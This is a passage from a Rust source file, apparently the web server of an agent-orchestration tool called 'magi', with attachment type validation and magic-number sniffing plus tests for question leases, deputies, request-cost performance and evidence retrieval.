10865            if raw == "image/svg+xml" {
10866                ApiError::bad_request(
10867                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10868                     not just a picture",
10869                )
10870            } else if raw.is_empty() {
10871                ApiError::bad_request("Content-Type is required for an attachment upload")
10872            } else {
10873                ApiError::bad_request(format!(
10874                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10875                     image/gif or image/webp"
10876                ))
10877            }
10878        })
10879}
10880
10881/// Identify an image by its magic number, independent of whatever
10882/// `Content-Type` claimed.
10883fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10884    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10885        Some("image/png")
10886    } else if data.starts_with(b"\xff\xd8\xff") {
10887        Some("image/jpeg")
10888    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10889        Some("image/gif")
10890    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10891        Some("image/webp")
10892    } else {
10893        None
10894    }
10895}
10896
10897/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10898/// display - see [`talk::Attachment::name`]'s doc on why it never
10899/// contributes to a path. A missing or blank header (curl without it, an
10900/// older front end) falls back to a generic name rather than refusing the
10901/// upload over a field that is cosmetic.
10902fn filename_header(headers: &HeaderMap) -> String {
10903    headers
10904        .get(FILENAME_HEADER)
10905        .and_then(|v| v.to_str().ok())
10906        .map(str::trim)
10907        .filter(|s| !s.is_empty())
10908        .unwrap_or("attachment")
10909        .to_owned()
10910}
10911
10912/// Every attachment `GET` response: the mime re-validated against the same
10913/// closed whitelist the upload route enforces - never the string trusted
10914/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10915/// cannot decide it knows better than the type we send. Unlike a panel asset
10916/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10917/// document renders inline, not agent-authored HTML in a sandboxed frame.
10918fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10919    let content_type = ATTACHMENT_MIME_WHITELIST
10920        .iter()
10921        .find(|&&m| m == mime)
10922        .copied()
10923        .unwrap_or("application/octet-stream");
10924    (
10925        [
10926            (header::CONTENT_TYPE, content_type),
10927            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10928        ],
10929        body,
10930    )
10931        .into_response()
10932}
10933
10934/// The configuration for a repository, read off the disk for this request.
10935///
10936/// Through [`blocking`] because discovery reads and merges several TOML files,
10937/// and because the alternative - caching it in [`Ui`] at startup - would mean
10938/// the operator's phone kept interviewing with a roster they had already
10939/// changed, with no way to reload it but restarting the server they are not
10940/// sitting in front of.
10941async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10942    let repo = repo.to_path_buf();
10943    blocking(move || {
10944        let (cfg, _) = Config::discover(&repo, None)?;
10945        Ok(cfg)
10946    })
10947    .await
10948}
10949
10950/// The one prefix rule, used for both runs and tasks: a leading match for a
10951/// full id, a trailing match for the short form an operator reads off a
10952/// report. Written here rather than borrowed from `queue::resolve_id` because
10953/// the UI needs the two failures as different status codes, and telling them
10954/// apart from an error message is not something to build a route on.
10955fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10956    let mut hits = ids
10957        .into_iter()
10958        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10959    match (hits.next(), hits.next()) {
10960        (Some(one), None) => Ok(one),
10961        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10962        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10963            "`{prefix}` matches more than one {what}, including {a} and {b}"
10964        ))),
10965    }
10966}
10967
10968#[cfg(test)]
10969mod tests {
10970
10971    #[test]
10972    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10973        let dir = tempfile::tempdir().unwrap();
10974        let store = ask::Questions::at(dir.path().join("questions"));
10975        let mut q = Question::new(
10976            "task".to_owned(),
10977            "conduct".to_owned(),
10978            "conduct".to_owned(),
10979            "choose".to_owned(),
10980            String::new(),
10981            vec!["keep".to_owned()],
10982        );
10983        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10984        q.say("why?").unwrap();
10985        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10986        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10987        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10988        store.put(&mut q).unwrap();
10989        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10990        assert_eq!(store.count_needs_owner(), 1);
10991        store.beat(&q.id, ask::WaiterKind::Deputy);
10992        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10993        assert_eq!(store.count_needs_owner(), 0);
10994        let mut stale = store.read_lease(&q.id).unwrap();
10995        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10996        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10997        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10998        assert!(view.deputy_exhausted);
10999        assert!(view.waiting_on_agent);
11000        assert_eq!(view.question.choices, ["keep"]);
11001        store.drop_lease(&q.id);
11002        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11003        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11004    }
11005
11006    #[test]
11007    fn holder_reads_the_lease_not_the_record() {
11008        let mut q = Question::new(
11009            "run".to_owned(),
11010            "implement".to_owned(),
11011            "impl-A".to_owned(),
11012            "which?".to_owned(),
11013            String::new(),
11014            Vec::new(),
11015        );
11016        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11017        q.cwd = Some("/tmp".to_owned());
11018        assert_eq!(holder_of(&q, None), Some("nobody"));
11019        let beat = |kind, ago: i64| ask::Lease {
11020            kind,
11021            pid: 1,
11022            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11023                .unwrap(),
11024        };
11025        let fresh = beat(ask::WaiterKind::Asker, 1);
11026        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11027        let daemon = beat(ask::WaiterKind::Daemon, 1);
11028        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11029        let stale = beat(ask::WaiterKind::Asker, 3600);
11030        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11031
11032        // A conductor question says "deputy" only while one is attached and
11033        // alive, and "nobody" - never silence - when nothing ever listened.
11034        let mut c = Question::new(
11035            "task".to_owned(),
11036            crate::conduct::NODE.to_owned(),
11037            "conduct".to_owned(),
11038            "which?".to_owned(),
11039            String::new(),
11040            Vec::new(),
11041        );
11042        assert_eq!(holder_of(&c, None), Some("nobody"));
11043        c.cwd = Some("/tmp".to_owned());
11044        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11045        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11046        let deputy = beat(ask::WaiterKind::Deputy, 1);
11047        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11048        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11049
11050        // A release-watch question: nobody until a deputy is attached.
11051        let mut r = Question::new(
11052            String::new(),
11053            crate::bump::NOTICE_NODE.to_owned(),
11054            "release-watch".to_owned(),
11055            "stuck?".to_owned(),
11056            String::new(),
11057            vec!["hold".to_owned()],
11058        );
11059        assert_eq!(holder_of(&r, None), Some("nobody"));
11060        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11061        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11062        // A choice-less bump notice is nobody's question at all.
11063        r.deputy = None;
11064        r.seat = "bump".to_owned();
11065        assert_eq!(holder_of(&r, None), None);
11066
11067        // A merge approval is the same: nobody until a deputy is attached
11068        // and alive, never a silent "no holder".
11069        let mut m = Question::new(
11070            "run".to_owned(),
11071            crate::land::APPROVAL_NODE.to_owned(),
11072            "land".to_owned(),
11073            "merge?".to_owned(),
11074            String::new(),
11075            Vec::new(),
11076        );
11077        assert_eq!(holder_of(&m, None), Some("nobody"));
11078        assert_eq!(
11079            holder_of(&m, Some(&fresh)),
11080            Some("asker"),
11081            "a live explicit wait is a listener even before a deputy is attached"
11082        );
11083        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11084        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11085        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11086        assert_eq!(holder_of(&m, None), Some("nobody"));
11087    }
11088
11089    fn stub_config() -> Config {
11090        // An explicit roster, so the result never depends on which agent CLIs
11091        // this machine has installed.
11092        Config {
11093            agents: vec![crate::config::AgentSpec {
11094                id: "stub".to_owned(),
11095                kind: AgentKind::Command,
11096                model: None,
11097                command: vec!["true".to_owned()],
11098                extra_args: Vec::new(),
11099                env: Default::default(),
11100                prompt_delivery: None,
11101                max_turn_secs: None,
11102            }],
11103            ..Config::default()
11104        }
11105    }
11106
11107    fn plain_question(seat: &str) -> Question {
11108        Question::new(
11109            String::new(),
11110            "n".to_owned(),
11111            seat.to_owned(),
11112            "s".to_owned(),
11113            String::new(),
11114            Vec::new(),
11115        )
11116    }
11117
11118    #[test]
11119    fn deputies_enabled_follows_the_config() {
11120        let on = stub_config();
11121        assert!(crate::deputy::can_start(Some(&on), ""));
11122        assert!(crate::deputy::can_start(Some(&on), "stub"));
11123        let mut off = on.clone();
11124        off.daemon.max_deputies = 0;
11125        assert!(!crate::deputy::can_start(Some(&off), ""));
11126        let mut empty = on;
11127        empty.agents.clear();
11128        assert!(!crate::deputy::can_start(Some(&empty), ""));
11129        assert!(!crate::deputy::can_start(None, ""));
11130    }
11131
11132    #[test]
11133    fn question_views_load_the_config_once() {
11134        let dir = TempDir::new().unwrap();
11135        let store = ask::Questions::at(dir.path().to_path_buf());
11136        let mut with_deputy = plain_question("b");
11137        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11138        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11139
11140        let calls = std::cell::Cell::new(0usize);
11141        let views = question_views(qs.clone(), &store, || {
11142            calls.set(calls.get() + 1);
11143            Some(stub_config())
11144        });
11145        assert_eq!(calls.get(), 1);
11146        assert_eq!(views.len(), 3);
11147        for (v, q) in views.iter().zip(&qs) {
11148            assert_eq!(
11149                v.deputies_enabled,
11150                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11151            );
11152        }
11153
11154        let views = question_views(qs, &store, || None);
11155        assert!(views.iter().all(|v| !v.deputies_enabled));
11156
11157        let calls = std::cell::Cell::new(0usize);
11158        let views = question_views(Vec::new(), &store, || {
11159            calls.set(calls.get() + 1);
11160            None
11161        });
11162        assert!(views.is_empty());
11163        assert_eq!(calls.get(), 0);
11164    }
11165
11166    use pretty_assertions::assert_eq;
11167    use serde_json::Value;
11168    use tempfile::TempDir;
11169    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11170
11171    use super::*;
11172    use crate::config::Config;
11173    use crate::queue::Source;
11174
11175    /// How many 10ms steps a settle loop takes before it calls a stall a
11176    /// stall - thirty seconds.
11177    ///
11178    /// These loops wait on real `sh` subprocesses, and the machine that runs
11179    /// the gate runs several suites at once, so a two-second budget was not
11180    /// waiting for the reply, it was racing the scheduler: two of these
11181    /// tests failed under that load with the turn simply not landed yet.
11182    /// This is a hang guard, not a latency assertion - every loop breaks the
11183    /// moment its condition holds, so a generous cap costs an idle machine
11184    /// nothing and still fails a genuine hang instead of hanging the suite.
11185    const SETTLE_STEPS: usize = 3_000;
11186
11187    /// A home with a queue and a runs directory, and a router serving it on
11188    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11189    /// dependency, not ours - so the tests drive a real socket, which has the
11190    /// side benefit of asserting the status line and content types the phone
11191    /// actually receives.
11192    struct Fixture {
11193        home: TempDir,
11194        addr: SocketAddr,
11195    }
11196
11197    impl Fixture {
11198        async fn start() -> Self {
11199            Self::with_loop(launch_idle).await
11200        }
11201
11202        /// A fixture whose loop is `launch`.
11203        async fn with_loop(launch: Launch) -> Self {
11204            let home = TempDir::new().expect("temp home");
11205            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11206            Self { home, addr }
11207        }
11208
11209        /// A fixture whose `ui.repo` is a real directory rather than the
11210        /// usual placeholder - for the routes that read config off it
11211        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11212        async fn with_repo(repo: PathBuf) -> Self {
11213            let home = TempDir::new().expect("temp home");
11214            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11215            Self { home, addr }
11216        }
11217
11218        /// As [`Fixture::with_repo`], with the machine-config file the
11219        /// settings screen reads and writes.
11220        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11221            let home = TempDir::new().expect("temp home");
11222            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11223            Self { home, addr }
11224        }
11225
11226        async fn serve(
11227            home: &FsPath,
11228            repo: PathBuf,
11229            launch: Launch,
11230            machine: Option<PathBuf>,
11231        ) -> SocketAddr {
11232            let queue = Queue::at(home.join("queue"));
11233            let runs = home.join("runs");
11234            std::fs::create_dir_all(&runs).expect("runs dir");
11235            let worktrees = home.join("wt").join("magi");
11236            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11237            let ui = Ui::new(
11238                queue,
11239                Questions::at(home.join("questions")),
11240                Talks::at(home.join("talks")),
11241                runs,
11242                home.to_path_buf(),
11243                repo,
11244            )
11245            .with_worktrees_root(worktrees)
11246            .with_machine_config(machine)
11247            .with_launch(launch);
11248            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11249                .await
11250                .expect("bind loopback");
11251            let addr = listener.local_addr().expect("local addr");
11252            tokio::spawn(async move {
11253                let router = ui
11254                    .router()
11255                    .layer(axum::middleware::from_fn(request_cost::observe));
11256                let _ = axum::serve(listener, router).await;
11257            });
11258            addr
11259        }
11260
11261        fn queue(&self) -> Queue {
11262            Queue::at(self.home.path().join("queue"))
11263        }
11264
11265        fn questions(&self) -> Questions {
11266            Questions::at(self.home.path().join("questions"))
11267        }
11268
11269        fn talks(&self) -> Talks {
11270            Talks::at(self.home.path().join("talks"))
11271        }
11272
11273        fn runs(&self) -> PathBuf {
11274            self.home.path().join("runs")
11275        }
11276
11277        async fn get(&self, path: &str) -> Res {
11278            request(self.addr, "GET", path, None).await
11279        }
11280
11281        /// The status and headers without the body, which is how the front end
11282        /// preflights a panel: a sandboxed frame is opaque to the parent
11283        /// document, so the only way to tell "no panel" from "a panel that
11284        /// rendered blank" is to ask before mounting.
11285        async fn head(&self, path: &str) -> Res {
11286            request(self.addr, "HEAD", path, None).await
11287        }
11288
11289        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11290            request(self.addr, "POST", path, body).await
11291        }
11292
11293        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11294            request_with(self.addr, "GET", path, None, extra).await
11295        }
11296
11297        async fn delete(&self, path: &str) -> Res {
11298            request(self.addr, "DELETE", path, None).await
11299        }
11300
11301        async fn put(&self, path: &str, body: &str) -> Res {
11302            request(self.addr, "PUT", path, Some(body)).await
11303        }
11304
11305        /// `POST` a raw body with its own headers - see [`request_bytes`].
11306        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11307            request_bytes(self.addr, path, headers, body).await
11308        }
11309    }
11310
11311    /// Real tracking refs exercise the successful discovery path (including
11312    /// extraction), rather than counting cheap failures on a placeholder repo.
11313    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11314        let tmp = TempDir::new().unwrap();
11315        let mut repos = Vec::new();
11316        for name in ["one", "two"] {
11317            let repo = tmp.path().join(name);
11318            let origin = tmp.path().join(format!("{name}.git"));
11319            std::fs::create_dir_all(&repo).unwrap();
11320            crate::git::git(&repo, &["init", "-b", "main"])
11321                .await
11322                .unwrap();
11323            std::fs::write(
11324                repo.join("magi.toml"),
11325                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11326            )
11327            .unwrap();
11328            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11329            crate::git::git(
11330                &repo,
11331                &[
11332                    "-c",
11333                    "user.name=fixture",
11334                    "-c",
11335                    "user.email=fixture@example.invalid",
11336                    "commit",
11337                    "-m",
11338                    "fixture",
11339                ],
11340            )
11341            .await
11342            .unwrap();
11343            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11344                .await
11345                .unwrap();
11346            crate::git::git(
11347                &repo,
11348                &["remote", "add", "origin", origin.to_str().unwrap()],
11349            )
11350            .await
11351            .unwrap();
11352            crate::git::git(&repo, &["push", "origin", "main"])
11353                .await
11354                .unwrap();
11355            crate::git::git(
11356                &repo,
11357                &[
11358                    "symbolic-ref",
11359                    "refs/remotes/origin/HEAD",
11360                    "refs/remotes/origin/main",
11361                ],
11362            )
11363            .await
11364            .unwrap();
11365            let (cfg, _) = Config::discover(&repo, None).unwrap();
11366            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11367            repos.push(repo);
11368        }
11369        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11370        (tmp, repos)
11371    }
11372
11373    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11374        let (tmp, repos) = performance_repositories().await;
11375        let machine = tmp.path().join("machine.toml");
11376        std::fs::write(&machine, "").unwrap();
11377        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11378        (tmp, repos, fx)
11379    }
11380
11381    fn seed_performance(
11382        fx: &Fixture,
11383        repos: &[PathBuf; 2],
11384        questions: usize,
11385        runs: usize,
11386        items: usize,
11387    ) {
11388        // Saving states directly never starts a run or changes MAGI_HOME.
11389        for i in fx.questions().list().len()..questions {
11390            let mut question = Question::new(
11391                "20261001-000000-0000".into(),
11392                "implement".into(),
11393                "impl-A".into(),
11394                format!("question {i}"),
11395                "context".into(),
11396                vec!["yes".into(), "no".into()],
11397            );
11398            question.id = format!("20261003-000000-{i:04x}");
11399            fx.questions().put(&mut question).unwrap();
11400        }
11401        for i in run_ids(&fx.runs()).len()..runs {
11402            write_run_repo(
11403                &fx.runs(),
11404                &format!("20261001-000000-{i:04x}"),
11405                RunStatus::Ready,
11406                repos[i % 2].to_str().unwrap(),
11407            );
11408        }
11409        for i in fx.talks().list().len()..items {
11410            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11411            let mut talk = fx.talks().get(&id).unwrap();
11412            talk.repo = repos[i % 2].clone();
11413            fx.talks().put(&mut talk).unwrap();
11414            let mut task = crate::queue::Task::new(
11415                format!("task {i}"),
11416                "instruction".into(),
11417                repos[i % 2].clone(),
11418                crate::queue::Source::Agent {
11419                    run: id,
11420                    node: crate::queue::CHAT_NODE.into(),
11421                },
11422            );
11423            task.id = format!("20261004-000000-{i:04x}");
11424            fx.queue().put(&mut task).unwrap();
11425            // Notices has a production retention cap; seed up to that cap.
11426            if i < crate::notices::CAP {
11427                Notices::at(fx.home.path().join("notifications"))
11428                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11429                    .unwrap();
11430            }
11431        }
11432        assert_eq!(fx.questions().list().len(), questions);
11433        assert_eq!(run_ids(&fx.runs()).len(), runs);
11434        assert_eq!(fx.talks().list().len(), items);
11435        assert_eq!(fx.queue().list().len(), items);
11436        assert_eq!(
11437            Notices::at(fx.home.path().join("notifications"))
11438                .list()
11439                .len(),
11440            items.min(crate::notices::CAP)
11441        );
11442    }
11443
11444    #[tokio::test]
11445    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11446        let home = TempDir::new().unwrap();
11447        let root = home.path().canonicalize().unwrap();
11448        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11449        let fx = Fixture { home, addr };
11450        let repo = root.as_path().join("archive-repo");
11451        std::fs::create_dir(&repo).unwrap();
11452        crate::git::git(&repo, &["init", "-b", "main"])
11453            .await
11454            .unwrap();
11455        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11456            .await
11457            .unwrap();
11458        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11459            .await
11460            .unwrap();
11461        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11462            .await
11463            .unwrap();
11464        std::fs::write(repo.join("source"), "base").unwrap();
11465        crate::git::git(&repo, &["add", "."]).await.unwrap();
11466        crate::git::git(&repo, &["commit", "-m", "base"])
11467            .await
11468            .unwrap();
11469        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11470        std::fs::write(repo.join("source"), "archived review").unwrap();
11471        crate::git::git(&repo, &["commit", "-am", "review"])
11472            .await
11473            .unwrap();
11474        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11475        let mut config = Config::default();
11476        config.graph.worktree_root = Some(root.as_path().join("copies"));
11477        let mut state = RunState::new(
11478            repo.clone(),
11479            "main".into(),
11480            base.clone(),
11481            "archive".into(),
11482            config,
11483        );
11484        state.id = "20260101-000000-ef05".into();
11485        state.status = RunStatus::Ready;
11486        state.save_under(root.as_path()).unwrap();
11487        let evidence =
11488            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11489                .await
11490                .unwrap();
11491        let base_evidence =
11492            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11493                .await
11494                .unwrap();
11495        let source = state.worktree_root().join("review-1");
11496        let mut contents = std::collections::BTreeMap::new();
11497        contents.insert(
11498            repo.join("logs/HEAD"),
11499            format!("{base} {head} fixture\n").into_bytes(),
11500        );
11501        let record = serde_json::json!({
11502            "version":1, "run":state.id, "source":source, "head":head,
11503            "evidence":evidence, "admin":{}, "admin_contents":contents,
11504            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11505        });
11506        std::fs::write(
11507            fx.runs()
11508                .join(&state.id)
11509                .join("artifacts/eviction-review-1.json"),
11510            serde_json::to_vec(&record).unwrap(),
11511        )
11512        .unwrap();
11513        std::fs::remove_dir_all(&repo).unwrap();
11514        let url = format!("/api/runs/{}/seat-evidence", state.id);
11515        let list = fx.get(&url).await;
11516        assert_eq!(list.status, 200, "{}", list.body);
11517        assert_eq!(list.json()[&head], "review-1");
11518        let patch = fx.get(&format!("{url}/{head}")).await;
11519        assert_eq!(patch.status, 200, "{}", patch.body);
11520        assert!(patch.body.contains("+archived review"));
11521        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11522        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11523        assert_eq!(fx.get(&url).await.status, 404);
11524        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11525    }
11526
11527    fn request_counts(res: &Res) -> (usize, usize) {
11528        assert_eq!(res.status, 200, "{}", res.body);
11529        (
11530            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11531            res.header("x-test-git").unwrap().parse().unwrap(),
11532        )
11533    }
11534
11535    #[tokio::test]
11536    async fn list_request_cost_is_independent_of_record_count() {
11537        let (_tmp, repos, fx) = performance_fixture().await;
11538        let mut previous = None;
11539        for n in [4, 60] {
11540            seed_performance(&fx, &repos, n, n, n);
11541            let mut costs = Vec::new();
11542            for (path, discoveries) in [
11543                ("/api/questions", 1),
11544                ("/api/talks", 0),
11545                ("/api/health", 0),
11546                ("/api/stats", 1),
11547            ] {
11548                // Equal cold extraction caches at both scales; this also
11549                // bounds first-request cost instead of only warmed requests.
11550                for repo in &repos {
11551                    let cache = repo.join(".git/magi/config");
11552                    if cache.exists() {
11553                        std::fs::remove_dir_all(cache).unwrap();
11554                    }
11555                }
11556                let cost = request_counts(&fx.get(path).await);
11557                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11558                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11559                assert!(
11560                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11561                    "{path}: {cost:?}"
11562                );
11563                costs.push(cost);
11564            }
11565            if let Some(previous) = previous {
11566                assert_eq!(costs, previous);
11567            }
11568            previous = Some(costs);
11569        }
11570        // runs reads shared row inputs and probes process liveness; queue
11571        // builds one blocker inventory; notifications reads its own store.
11572        // None discovers configuration or spawns git per item.
11573    }
11574
11575    /// The same handler path without transport, so the deterministic cause
11576    /// can also be checked in environments that prohibit binding sockets.
11577    #[tokio::test]
11578    async fn list_handler_cost_without_transport() {
11579        let (_tmp, repos) = performance_repositories().await;
11580        let fx = Fixture {
11581            home: TempDir::new().unwrap(),
11582            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11583        };
11584        let ui = Arc::new(
11585            Ui::new(
11586                fx.queue(),
11587                fx.questions(),
11588                fx.talks(),
11589                fx.runs(),
11590                fx.home.path().to_path_buf(),
11591                repos[0].clone(),
11592            )
11593            .with_worktrees_root(fx.home.path().join("wt")),
11594        );
11595        let mut previous = None;
11596        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11597            seed_performance(&fx, &repos, n, runs, items);
11598            let mut costs = Vec::new();
11599            for endpoint in ["questions", "talks", "health", "stats"] {
11600                for repo in &repos {
11601                    let cache = repo.join(".git/magi/config");
11602                    if cache.exists() {
11603                        std::fs::remove_dir_all(cache).unwrap();
11604                    }
11605                }
11606                let (_, cost) = request_cost::measure(async {
11607                    match endpoint {
11608                        "questions" => {
11609                            let _ = questions_list(State(ui.clone())).await.unwrap();
11610                        }
11611                        "talks" => {
11612                            let _ = talks_list(
11613                                State(ui.clone()),
11614                                Query(ListQuery {
11615                                    limit: None,
11616                                    ids: None,
11617                                }),
11618                                header::HeaderMap::new(),
11619                            )
11620                            .await
11621                            .unwrap();
11622                        }
11623                        "health" => {
11624                            let _ = health(State(ui.clone())).await.unwrap();
11625                        }
11626                        _ => {
11627                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11628                                .await
11629                                .unwrap();
11630                        }
11631                    }
11632                })
11633                .await;
11634                eprintln!("{endpoint} handler N={n}: {cost:?}");
11635                assert_eq!(
11636                    cost.0,
11637                    if matches!(endpoint, "talks" | "health") {
11638                        0
11639                    } else {
11640                        1
11641                    },
11642                    "{endpoint}"
11643                );
11644                assert!(
11645                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11646                    "{endpoint}: {cost:?}"
11647                );
11648                costs.push(cost);
11649            }
11650            if let Some(previous) = previous {
11651                assert_eq!(costs, previous);
11652            }
11653            previous = Some(costs);
11654        }
11655    }
11656
11657    #[tokio::test]
11658    async fn list_request_cost_scopes_do_not_mix() {
11659        let (_tmp, repos, fx) = performance_fixture().await;
11660        seed_performance(&fx, &repos, 10, 0, 10);
11661        let (questions, talks, notices) = tokio::join!(
11662            fx.get("/api/questions"),
11663            fx.get("/api/talks"),
11664            fx.get("/api/notifications")
11665        );
11666        assert_eq!(request_counts(&questions).0, 1);
11667        // Cached summaries perform no config discovery or git work, even
11668        // alongside the questions request that still discovers config.
11669        assert_eq!(request_counts(&talks), (0, 0));
11670        assert_eq!(request_counts(&notices), (0, 0));
11671    }
11672
11673    #[tokio::test]
11674    async fn list_endpoints_large_home_responses() {
11675        check_large_home_endpoints(false).await;
11676    }
11677
11678    #[tokio::test]
11679    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11680    async fn list_endpoints_large_home_ceiling() {
11681        check_large_home_endpoints(true).await;
11682    }
11683
11684    async fn check_large_home_endpoints(timed: bool) {
11685        let (_tmp, repos, fx) = performance_fixture().await;
11686        seed_performance(&fx, &repos, 200, 300, 400);
11687        let mut failures = Vec::new();
11688        // app.js boot/change loads plus the initial dashboard, settings and
11689        // repo picker. SSE is a persistent stream, not a bounded GET.
11690        for path in [
11691            "/",
11692            "/app.js",
11693            "/app.css",
11694            "/api/questions",
11695            "/api/runs?limit=300",
11696            "/api/queue",
11697            "/api/talks",
11698            "/api/notifications",
11699            "/api/health",
11700            "/api/stats",
11701            "/api/loop",
11702            "/api/settings",
11703            "/api/repos",
11704        ] {
11705            let start = std::time::Instant::now();
11706            let result = if timed {
11707                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11708            } else {
11709                Ok(fx.get(path).await)
11710            };
11711            let elapsed = start.elapsed();
11712            eprintln!("{path}: {elapsed:?}");
11713            match result {
11714                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11715                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11716                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11717            }
11718        }
11719        assert!(failures.is_empty(), "{}", failures.join("\n"));
11720    }
11721
11722    struct Res {
11723        status: u16,
11724        headers: String,
11725        /// The header block with its original casing, for the assertions that
11726        /// compare a header *value* rather than looking for a name. Lowercasing
11727        /// a CSP would hide a directive spelled with a capital letter, and the
11728        /// whole point of that test is that the string is exactly right.
11729        head: String,
11730        body: String,
11731        /// The body before any UTF-8 handling, for the routes that serve
11732        /// something other than text. A panel asset is a PNG as often as not,
11733        /// and `from_utf8_lossy` would silently replace half of it.
11734        bytes: Vec<u8>,
11735    }
11736
11737    impl Res {
11738        fn json(&self) -> Value {
11739            serde_json::from_str(&self.body)
11740                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11741        }
11742
11743        /// One header's value verbatim, or `None` when it was not sent.
11744        fn header(&self, name: &str) -> Option<&str> {
11745            self.head.lines().find_map(|line| {
11746                let (key, value) = line.split_once(':')?;
11747                key.trim()
11748                    .eq_ignore_ascii_case(name)
11749                    .then(|| value.trim_start().trim_end_matches('\r'))
11750            })
11751        }
11752    }
11753
